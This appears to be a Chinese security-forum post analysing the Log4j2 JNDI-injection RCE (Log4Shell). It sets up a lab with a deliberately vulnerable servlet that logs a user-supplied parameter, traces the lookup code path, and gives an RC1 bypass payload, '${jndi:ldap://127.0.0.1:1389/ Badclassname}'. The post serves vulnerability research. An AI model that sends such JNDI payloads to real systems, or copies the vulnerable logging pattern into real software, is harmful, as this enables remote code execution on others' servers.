安全矩阵

 找回密码
 立即注册
搜索
查看: 2319|回复: 0

Log4j2 RCE分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-13 19:54:00 | 显示全部楼层 |阅读模式
原文链接:Log4j2 RCE分析

  •         前言
            最近Log4j2的RCE漏洞可谓是刷爆了整个安全圈,也是被国内外安全圈的大佬们玩出了花。在发布漏洞后笔者也是根据官方commit对此次漏洞进行了调试分析,But....周末杂七杂八的事实在太多一直没来得及记录。今天发出来也算是蹭一下最后的余温....
  •         漏洞描述
            Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于Apache Log4j2 lookup功能存在递归解析功能,攻击者可直接构造恶意请求,⽆需进⾏特殊配置,即可触发远程代码执⾏。
  •         影响范围
            Java类产品:Apache Log4j 2.x < 2.15.0-rc2 受影响的应用及组件(包括但不限于)如下:Apache Solr、Apache Flink、Apache Druid、Apache Struts2、pring-boot-strater-log4j2等。
  •         环境搭建
            IDEA新建Maven项目,并导入如下依赖

  1. <dependency>
  2. <groupId>org.apache.logging.log4j</groupId>
  3. <artifactId>log4j-core</artifactId>
  4. <version>2.14.1</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.apache.logging.log4j</groupId>
  8. <artifactId>log4j-api</artifactId>
  9. <version>2.14.1</version>
  10. </dependency>
复制代码

新建Servlet
  1. @WebServlet(name = "ServletDemo", value = "/ServletDemo")  
  2. public class ServletDemo extends HttpServlet {  
  3. @Override
  4. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {  
  5.           doPost(request,response);  
  6.       }  

  7. @Override
  8. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {  
  9.           Logger logger = LogManager.getLogger(ServletDemo.class.getName());  
  10.           PrintWriter printWriter = response.getWriter();  
  11.           printWriter.println("Log4j2 JNDI injection");  
  12.           String payload  = request.getParameter("msg");  
  13. if (payload == null){  
  14.               payload = "input msg parameter: ?msg=helloworld";  
  15.           }  
  16.           printWriter.println("execute paylaod: " + payload);  
  17.           logger.error(payload);  
  18.           printWriter.flush();  
  19.           printWriter.close();  
  20.       }  
  21.   }
复制代码

漏洞分析
首先使用互联网上公开的漏洞触发语句进行调试分析
  1. Logger logger = LogManager.getLogger(xxxx.class.getName());
  2. logger.error(payload)
复制代码


进入到error函数后首先会调用logIfEnabled,在该函数中首先会调用isEnabled判断是否要进行日志记录(具体细节后面会讲)。如果满足一定条件则调用logMessage进行下一步操作。

在经过一系列操作后我们来到org.apache.logging.log4j.core.pattern!format

在format函数中会匹配${,当匹配到${内容后并将其中内容取出调用substitube进行下一步操作

跟进substitube

省略一些判断后substitube会调用resolveVariable,继续跟进

resolveVariable首先会调用getVariableResolver获取可用的resolver,随后调用lookup函数

lookup首先根据:的索引获取到传入的协议类型,随后调用this.strLookupMap.get获取一个lookup实例。随后调用lookup实例的lookup,跟进

Jndilookup首先调用JndiManager.getDefaultManager();获取jndi context,随后调用jndimanager.lookup完成最终的jndi注入

在调试完整个流程后,我们不禁会思考这样一个问题,既然在默认配置下logger.error()可以触发jndi注入那么像logger.info(),logger.warn(),logger.all()等其他函数是否也能触发jndi注入。首先我们把先前的代码稍作修改

在默认配置下,我们分别调用error,warn,info三个函数,并修改dnslog域名前缀。这样我们就知道dnslog是由哪个函数发出的

在发出请求后,dnslog只收到了来自error函数的记录。而其他的warn,info并没有像我们预期的那样触发jndi注入 出现该问题的关键就在于我们之前提到的isEnable函数。在isEnable中调用了this.privateConfig.filter,我们看看在filter中具体做了什么

filter首先调用this.config.getfilter获取配置信息,如果没有获取到配置信息,则对this.intLevel和level.intLevel进行比较,只有当this.intLevel 大于或等于level.intLevel才会进行下一步的日志记录操作 而log4j2默认过滤级别为error,所以当我们传入过滤级别高于默认过滤级别时不会触发jndi注入。当我们手动为log4j2指定一个过滤级别

再次发送请求后,可以成功触发dnslog请求

RC1 绕过
在发布该漏洞后,apache官方紧急发布了RC1修复版本,但RC1由于修复不完善导致可进行绕过 如果要在RC1下利用此漏洞,需要用户在打开lookup功能下才能进行JNDI注入。
Payload
  1.     ${jndi:ldap://127.0.0.1:1389/ Badclassname}
  2.     注意Badclassname前的空格
复制代码


篇幅有限,具体绕过分析可参考Apache Log4j2从RCE到RC1绕过(https://xz.aliyun.com/t/10649


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-30 01:12 , Processed in 0.013744 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表